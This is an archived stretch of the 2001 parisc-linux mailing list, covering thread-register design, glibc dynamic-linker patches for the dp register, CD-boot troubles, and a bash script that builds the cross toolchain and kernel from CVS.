Date: Tue, 20 Mar 2001 12:02:41 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <200103202003.MAA09125@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619962 16900 80.91.229.3 (22 Nov 2014 01:32:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:42 +0000 (UTC)
To: "Matthew Wilcox" <matthew@wil.cx>,
	<parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 20 13:03:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3A5084A19
	for <parisc-linux@parisc-linux.org>; Tue, 20 Mar 2001 13:03:54 -0700 (MST)
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by palrel3.hp.com (Postfix) with ESMTP
	id 4E2AA10BF; Tue, 20 Mar 2001 12:03:53 -0800 (PST)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA09125;
	Tue, 20 Mar 2001 12:03:52 -0800 (PST)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:10556

>I propose we could use %cr27.
>It's readable from userspace, and we could have a 2-insn stub on the
>gateway page which sets %cr27 as necessary.  We then have to switch its
>value across context switch, which doesn't seem like a big deal to me.

This is what HP-UX does. We provide a lightweight system call for setting 
it. I believe that we recommend reading it at most once per procedure and 
caching it in a GR, because of the latency reading from a CR.

-cary




From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@fc.hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Tue, 20 Mar 2001 16:20:00 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <E14fVQ0-0007fu-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619962 16904 80.91.229.3 (22 Nov 2014 01:32:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:42 +0000 (UTC)
To: undisclosed-recipients: ;
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 20 16:20:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EE374A19
	for <parisc-linux@parisc-linux.org>; Tue, 20 Mar 2001 16:20:02 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id 5F297724
	for <parisc-linux@parisc-linux.org>; Tue, 20 Mar 2001 18:20:01 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id QAA11447
	for <parisc-linux@parisc-linux.org>; Tue, 20 Mar 2001 16:20:00 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14fVQ0-0007fu-00
	for <parisc-linux@parisc-linux.org>; Tue, 20 Mar 2001 16:20:00 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10557

>From Mark.Gittings@motorola.com Tue Mar 20 15: 54:20 2001
Return-path: <Mark.Gittings@motorola.com>
Envelope-to: bame@localhost
Delivery-date: Tue, 20 Mar 2001 15:54:20 -0700
Received: from localhost ([127.0.0.1] ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14fV1A-0007fL-00
	for <bame@localhost>; Tue, 20 Mar 2001 15:54:20 -0700
Received: from udlkern
	by localhost with POP3 (fetchmail-5.3.3)
	for bame@localhost (single-drop); Tue, 20 Mar 2001 15:54:20 -0700 (MST)
Received: from hpfcly.fc.hp.com (root@hpfcly.fc.hp.com [15.1.48.4])
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with ESMTP id PAA17320
	for <bame@udlkern.fc.hp.com>; Tue, 20 Mar 2001 15:52:50 -0700 (MST)
Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by hpfcly.fc.hp.com (8.9.3/8.9.3 SMKit7.01) with ESMTP id PAA01965
	for <bame@hpfcly.fc.hp.com>; Tue, 20 Mar 2001 15:52:48 -0700 (MST)
Received: from motgate.mot.com (motgate.mot.com [129.188.136.100])
	by hpfcla.fc.hp.com (8.9.3 (PHNE_22672)/8.9.3 SMKit7.01) with ESMTP id PAA08571
	for <bame@fc.hp.com>; Tue, 20 Mar 2001 15:52:47 -0700 (MST)
Received: [from pobox.mot.com (pobox.mot.com [129.188.137.100]) by motgate.mot.com (motgate 2.1) with ESMTP id PAA01921 for <bame@fc.hp.com>; Tue, 20 Mar 2001 15:52:45 -0700 (MST)]
Received: [from il35exm01.cig.mot.com (IL35EXM01.cig.mot.com [160.19.16.101]) by pobox.mot.com (MOT-pobox 2.0) with ESMTP id PAA08657 for <bame@fc.hp.com>; Tue, 20 Mar 2001 15:52:45 -0700 (MST)]
Received: by IL35EXM01 with Internet Mail Service (5.5.2651.58)
	id <FZVWPJA9>; Tue, 20 Mar 2001 16:52:44 -0600
Message-ID: <B155D56F21AFD31181390008C7C5A4D0766DAC@IL35EXM02.cig.mot.com>
From: Gittings Mark-G1TT1NGS <Mark.Gittings@motorola.com>
To: "'bame@fc.hp.com'" <bame@fc.hp.com>
Subject: Bootable CDROM
Date: Tue, 20 Mar 2001 16:51:27 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2651.58)
Content-Type: text/plain;
	charset="iso-8859-1"
Resent-To: parisc-linux@parisc-linux.org
Resent-Date: Tue, 20 Mar 2001 16:20:00 -0700
Resent-From: Paul Bame <bame@fc.hp.com>

Paul,
I have downloaded a couple of two file that appear to be the required files to create a bootable cd image palinux-0.5.iso and uxbootlf. I burned the CD's using Adaptec cd creator using the iso9660 file system settings. (also the juliet) Neither of these images were able to actually boot the 755 workstation. I also attempted to compile palo mklifimage. I was wondering if you could give me any insight on either getting a bootable CDROM or getting a system booted to install Linux?
I appreciate any help you could provide.
Mark Gittings 
Motorola ITS  
mark.gittings@motorola.com <mailto:mark.gittings@motorola.com> 
847.435.7073 
pager: 1800-Skytel2 pin 1370641
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 
you cannot discover new oceans unless you have the courage to lose sight of the shore. 









From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++ problem
Date: Wed, 21 Mar 2001 10:51:11 +1100 (EST)
Lines: 79
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103211008160.25567-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103210901030.25567-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619963 16906 80.91.229.3 (22 Nov 2014 01:32:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:43 +0000 (UTC)
Cc: randolph@tausq.org, "Paul J.Y. Lahaie" <plahaie@linuxcare.com>,
	Richard Hirst <rhirst@linuxcare.com>,
	Jane Vinet <jvinet@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 20 16:53:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A3AD4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Mar 2001 16:53:06 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA30545;
	Wed, 21 Mar 2001 10:51:11 +1100
In-Reply-To: <Pine.LNX.4.21.0103210901030.25567-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10558

On Wed, 21 Mar 2001, Alan Modra wrote:

> What is interesting from the above is that if my std::basic_ios::widen
> function happened to need a plt call stub, then my `hello' prog would
> crash too for the same reason.

This is probably relevant to the perl problem too, hence the extra cc's.

Take a look at the following gdb dump.  I've added a few comments `#...'

alan@tea:/scsi/tmp$ gdb test.tagg2
GNU gdb 5.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa-linux"...(no debugging symbols found)...
(gdb) set env LD_LIBRARY_PATH=.
(gdb) b *0x1724			# The plt call stub where we crash
Breakpoint 1 at 0x1724
(gdb) b _init
Breakpoint 2 at 0x16c4
(gdb) b _start
Breakpoint 3 at 0x17b4
(gdb) r
Starting program: /scsi/tmp/test.tagg2 

Breakpoint 1, 0x00001724 in _end_init ()
(gdb) set var $dp=0x2d90	# cheat.  set up dp = $global$
(gdb) c
Continuing.

Breakpoint 1, 0x00001724 in _end_init ()
(gdb) p/x $dp
$1 = 0x2d90
(gdb) c
Continuing.

Breakpoint 1, 0x00001724 in _end_init ()
(gdb) c
Continuing.

Breakpoint 1, 0x00001724 in _end_init ()
(gdb) c
Continuing.

Breakpoint 3, 0x000017b4 in _start ()
(gdb) c
Continuing.

Breakpoint 2, 0x000016c4 in _init ()
(gdb) c
Continuing.

Breakpoint 1, 0x00001724 in _end_init ()
(gdb) disable 1
(gdb) c
Continuing.
Hello

Program exited normally.

The problem is that dp is set up in _start.  Any plt call stubs __in the
main application__ called before _start runs will die horribly.  It's OK
to call plt call stubs in a shared lib as they use r19.

I propose we set up dp in the dynamic linker to avoid this problem, as
it's quite legal to have a mix of static and dynamic libraries, each
needing to run constructors.

Alan
-- 
Linuxcare






From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++ problem
Date: Wed, 21 Mar 2001 11:37:11 +1100 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103211101200.25567-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103211008160.25567-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619963 16909 80.91.229.3 (22 Nov 2014 01:32:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:43 +0000 (UTC)
Cc: randolph@tausq.org, "Paul J.Y. Lahaie" <plahaie@linuxcare.com>,
	Richard Hirst <rhirst@linuxcare.com>,
	Jane Vinet <jvinet@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 20 17:39:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 840394A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Mar 2001 17:39:05 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA32114;
	Wed, 21 Mar 2001 11:37:11 +1100
In-Reply-To: <Pine.LNX.4.21.0103211008160.25567-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10559

On Wed, 21 Mar 2001, Alan Modra wrote:

> I propose we set up dp in the dynamic linker to avoid this problem, as
> it's quite legal to have a mix of static and dynamic libraries, each
> needing to run constructors.

I think this is all we need.  Compiling it all to test it out...

--- glibc/sysdeps/hppa/dl-machine.h~	Mon Feb 19 14:05:42 2001
+++ glibc/sysdeps/hppa/dl-machine.h	Wed Mar 21 10:45:50 2001
@@ -338,6 +338,10 @@
 	/* Save the entry point in %r3. */
 	copy	%ret0,%r3
 
+	/* Set up dp for any static lib constructors that may be called. */
+	addil	LT'$global$,%r19
+	ldw	RT'$global$(%r1),%dp
+
 	/* Remember the lowest stack address. */
 	addil	LT'__libc_stack_end,%r19
 	ldw	RT'__libc_stack_end(%r1),%r20

Alan
-- 
Linuxcare






From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++ problem
Date: Wed, 21 Mar 2001 12:33:46 +1100 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103211157130.25567-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103211101200.25567-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619963 16910 80.91.229.3 (22 Nov 2014 01:32:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:43 +0000 (UTC)
Cc: randolph@tausq.org, "Paul J.Y. Lahaie" <plahaie@linuxcare.com>,
	Richard Hirst <rhirst@linuxcare.com>,
	Jane Vinet <jvinet@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 20 18:35:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7154B4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Mar 2001 18:35:40 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id MAA01491;
	Wed, 21 Mar 2001 12:33:46 +1100
In-Reply-To: <Pine.LNX.4.21.0103211101200.25567-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10560

On Wed, 21 Mar 2001, Alan Modra wrote:

> On Wed, 21 Mar 2001, Alan Modra wrote:
> 
> > I propose we set up dp in the dynamic linker to avoid this problem, as
> > it's quite legal to have a mix of static and dynamic libraries, each
> > needing to run constructors.
> 
> I think this is all we need.  Compiling it all to test it out...
> 
> --- glibc/sysdeps/hppa/dl-machine.h~	Mon Feb 19 14:05:42 2001
> +++ glibc/sysdeps/hppa/dl-machine.h	Wed Mar 21 10:45:50 2001
> @@ -338,6 +338,10 @@
>  	/* Save the entry point in %r3. */
>  	copy	%ret0,%r3
>  
> +	/* Set up dp for any static lib constructors that may be called. */
> +	addil	LT'$global$,%r19
> +	ldw	RT'$global$(%r1),%dp
> +
>  	/* Remember the lowest stack address. */
>  	addil	LT'__libc_stack_end,%r19
>  	ldw	RT'__libc_stack_end(%r1),%r20

Unfortunately, this fails because we pick up the value of $global$ in
ld.so.  Has anybody got a good idea on how to solve this?  One possibility
that occurs to me is that the dynamic linker could pull out DT_PLTGOT for
the application, but I'm not sure how to do that.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: c++ problem
Date: Wed, 21 Mar 2001 15:53:19 +1100 (EST)
Lines: 74
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103211547370.25567-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103211157130.25567-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619963 16911 80.91.229.3 (22 Nov 2014 01:32:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:43 +0000 (UTC)
Cc: randolph@tausq.org, "Paul J.Y. Lahaie" <plahaie@linuxcare.com>,
	Richard Hirst <rhirst@linuxcare.com>,
	Jane Vinet <jvinet@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 20 21:55:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id E41544A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 20 Mar 2001 21:55:30 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA07214;
	Wed, 21 Mar 2001 15:53:19 +1100
In-Reply-To: <Pine.LNX.4.21.0103211157130.25567-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10561

A cure!

	* sysdeps/hppa/dl-machine.h (RTLD_START): Set up dp with DT_PLTGOT
	value from application so that constructors in non-PIC libs work.

Alan Modra
-- 
Linuxcare

Index: sysdeps/hppa/dl-machine.h
===================================================================
RCS file: /home/cvs/parisc/glibc/sysdeps/hppa/dl-machine.h,v
retrieving revision 1.39
diff -u -p -r1.39 dl-machine.h
--- dl-machine.h	2000/12/13 20:12:42	1.39
+++ dl-machine.h	2001/03/21 04:36:15
@@ -255,7 +255,17 @@ elf_machine_runtime_setup (struct link_m
    The C function `_dl_start' is the real entry point;
    its return value is the user program's entry point.  */
 
-#define RTLD_START asm ("\
+#define RTLD_START \
+/* Set up dp for any static lib constructors that may be called. */	\
+static struct link_map * set_dp (struct link_map *map)		\
+{								\
+  register Elf32_Addr dp asm ("%r27");				\
+  dp = D_PTR (map, l_info[DT_PLTGOT]);				\
+  asm volatile ("" : : "r" (dp));				\
+  return map;							\
+}								\
+								\
+asm ("\
 	.text
 	.globl _start
 	.type _start,@function
@@ -331,7 +341,6 @@ _start:
 	bl	_dl_start,%rp
 	ldo	-4(%r24),%r26
 
-	/* FALLTHRU */
 	.globl _dl_start_user
 	.type _dl_start_user,@function
 _dl_start_user:
@@ -359,10 +368,14 @@ _dl_start_user:
 	stw	%r24,-44(%sp)
 
 .Lnofix:
-	/* Call _dl_init(_dl_loaded, argc, argv, envp). */
 	addil	LT'_dl_loaded,%r19
 	ldw	RT'_dl_loaded(%r1),%r26
+	bl	set_dp, %r2
 	ldw	0(%r26),%r26
+
+	/* Call _dl_init(_dl_loaded, argc, argv, envp). */
+	copy	%r28,%r26
+
 	/* envp = argv + argc + 1 */
 	sh2add	%r25,%r24,%r23
 	bl	_dl_init,%r2
@@ -389,7 +402,9 @@ __dl_fini_plabel:
 	stw	%r19,4(%r23)
 	ldw	4(%r3),%r19	/* load the object's gp */
 	bv	%r0(%r2)
-	depi	2,31,2,%r23	/* delay slot */");
+	depi	2,31,2,%r23	/* delay slot */
+");
+
 
 /* This code gets called via the .plt stub, and is used in
    dl-runtime.c to call the `fixup' function and then redirect to the





From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: The new FS of ESIEE Team is ready
Date: Wed, 21 Mar 2001 15:18:32 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD88AB@EPIXCH003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619964 16915 80.91.229.3 (22 Nov 2014 01:32:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:44 +0000 (UTC)
Cc: Giacomo Mulas <gmulas@ca.astro.it>,
	=?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>,
	William Carlsson <william.carlsson@teligent.se>
To: 'Thomas Marteau' <marteaut@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 07:26:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 624A24A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Mar 2001 07:26:22 -0700 (MST)
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d526e35f4ec@epirel991.europay.com>;
 Wed, 21 Mar 2001 15:25:48 +0100
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <GRPQSM3N>; Wed, 21 Mar 2001 15:25:05 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10562

Hello Thomas,

I just finished to install and reboot with your fs_hd_20010320 on my B180.

And I am very happy to see my favorite penguin appearing for the first time
on the STI console works. Nice, great, marvelous, ... 

Also I would like to ask you additional favors: it would be nice to put on
your download site the .config file with the corresponding cvs date of the
kernel (the release of your cross-compiler could also be helpful for me) so
that I can have a good base for future rebuild or test.

Thanks again for your fs and thanks in advance for additional help,
	Joel

> -----Original Message-----
> From: Thomas Marteau [mailto:marteaut@esiee.fr]
> Sent: Tuesday, March 20, 2001 8:08 PM
> To: parisc-linux@lists.parisc-linux.org
> Cc: Giacomo Mulas; SOETE Joel; William Carlsson
> Subject: The new FS of ESIEE Team is ready
> 
> 
> Hi all,
> 
> 	The new FS is ready (~61MB). No "more" bugged with the 
> good TERM parameter and
> no password :)
> It is a specially designed for 712 owners but it is a sane 
> fs, we hope.
> 
> Please, go to our DL page: http://mkhppa1.esiee.fr/en/download.html
> 
> Good luck, Thomas
> ESIEE Team
> 


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:16:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Charles Wilcox <willo@ece.wpi.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Automated Kernel Build Script.
Date: Wed, 21 Mar 2001 13:55:55 -0500 (EST)
Lines: 166
Approved: news@gmane.org
Message-ID: <Pine.OSF.4.33.0103211318330.234-200000@ece.wpi.edu>
Reply-To: <willo@wpi.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-1152337369-985199639=:15374"
X-Trace: ger.gmane.org 1416619964 16916 80.91.229.3 (22 Nov 2014 01:32:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 21 11:56:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ece.wpi.edu (ece.WPI.EDU [130.215.16.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BB114A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Mar 2001 11:56:06 -0700 (MST)
Original-Received: from localhost (willo@localhost)
	by ece.wpi.edu (8.11.2/8.11.2) with ESMTP id f2LIttF04667
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Mar 2001 13:56:00 -0500 (EST)
Content-ID: <Pine.OSF.4.33.0103211334150.12400@ece.wpi.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:10563

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--0-1152337369-985199639=:15374
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.OSF.4.33.0103211334151.12400@ece.wpi.edu>

Here is a bash script I developed from the "kernel recipe".  It can save
allot of time, from sitting around waiting for a make to finish just to
type another command and wait again, to preventing another mistyped
command from messing things up.

Motivation:
I produced several kernels that worked with this, but they had their
issues.  That, and there did not appear to be any nice/friendly way to
install all those Debian packages to make a usable system.  I've decided
that these 10 C110 machines will just have to delapidate until a real
distribution gets put together.  Until then, I figure someone else can use
the script I worked on to maybe help them out in their endeavors.

Semi-technical info:
The beginning of the script intentionally destroys the $SOURCE, $BUILD,
and $DEST directories.  If not destroyed, I sometimes would have the build
process fail on me, but starting from scratch worked for me.  Maybe it was
coincidence, play with it and find out for yourself.  Happy hacking.

 -- Charles Wilcox

===========================================================================

#!/bin/bash

##  Copyright (C) 2001, Charles L. Wilcox <willo@wpi.edu>

#set some system variables
MACH=i386-linux
SOURCE=$HOME/source
BUILD=$HOME/build
DEST=$HOME/opt/puffin
PATH=$PATH:$DEST/bin
CVSROOT=":pserver:anonymous@puffin.external.hp.com:/home/cvs/parisc"

#clean up and initialize directory structures
rm -rf $SOURCE
rm -rf $BUILD
rm -rf $DEST
mkdir -p $SOURCE
mkdir -p $BUILD

#login to the CVS server and get the goods
cvs -d $CVSROOT login
cd $SOURCE
cvs -z9 -d $CVSROOT checkout binutils gcc linux glibc palo || exit

#configure and build binutils
mkdir -p $BUILD/binutils
cd $BUILD/binutils
$SOURCE/binutils/configure --host=$MACH --prefix=$DEST --target=hppa-linux \
--enable-targets=hppa64-linux --disable-nls || exit
make || exit
make install || exit
cd $HOME

#configure and build gcc -- Part 1
cd $SOURCE/gcc
$SOURCE/gcc/contrib/gcc_update --touch
mkdir -p $BUILD/gcc
cd $BUILD/gcc
$SOURCE/gcc/configure --host=$MACH --prefix=$DEST --target=hppa-linux \
--enable-shared --disable-nls || exit
rm -rf zlib hppa-linux
make LANGUAGES=c || exit
make LANGUAGES=c install || exit
cd $HOME

#Unpack the kernel and make the header files glibc needs.
cd $SOURCE/linux
make oldconfig || exit
#make menuconfig
make dep || exit
cd $HOME

#configure and build glibc
mkdir -p $BUILD/glibc
cd $BUILD/glibc
$SOURCE/glibc/configure --host=hppa-linux --build=$MACH \
--prefix=$DEST/hppa-linux --with-headers=$SOURCE/linux/include \
--disable-profile --without-cvs --enable-add-ons || exit
make || exit
make install || exit
cd $HOME
ln -sf $SOURCE/linux/include/linux $DEST/hppa-linux/include
ln -sf $SOURCE/linux/include/asm $DEST/hppa-linux/include

#configure and build the rest of gcc
cd $BUILD/gcc
$SOURCE/gcc/configure --host=$MACH --prefix=$DEST --target=hppa-linux \
--enable-shared --disable-nls || exit
make || exit
make install || exit
cd $HOME

#build the kernel
cd $SOURCE/linux
##pico ../palo/Makefile
make palo || exit
cd $HOME

--0-1152337369-985199639=:15374
Content-Type: TEXT/PLAIN; charset=US-ASCII; name=make-puffin
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.OSF.4.33.0103211355550.12557@ece.wpi.edu>
Content-Description: 
Content-Disposition: attachment; filename=make-puffin

IyEvYmluL2Jhc2gNCg0KIyMgIENvcHlyaWdodCAoQykgMjAwMSwgQ2hhcmxl
cyBMLiBXaWxjb3ggPHdpbGxvQHdwaS5lZHU+ICANCg0KI3NldCBzb21lIHN5
c3RlbSB2YXJpYWJsZXMNCk1BQ0g9aTM4Ni1saW51eA0KU09VUkNFPSRIT01F
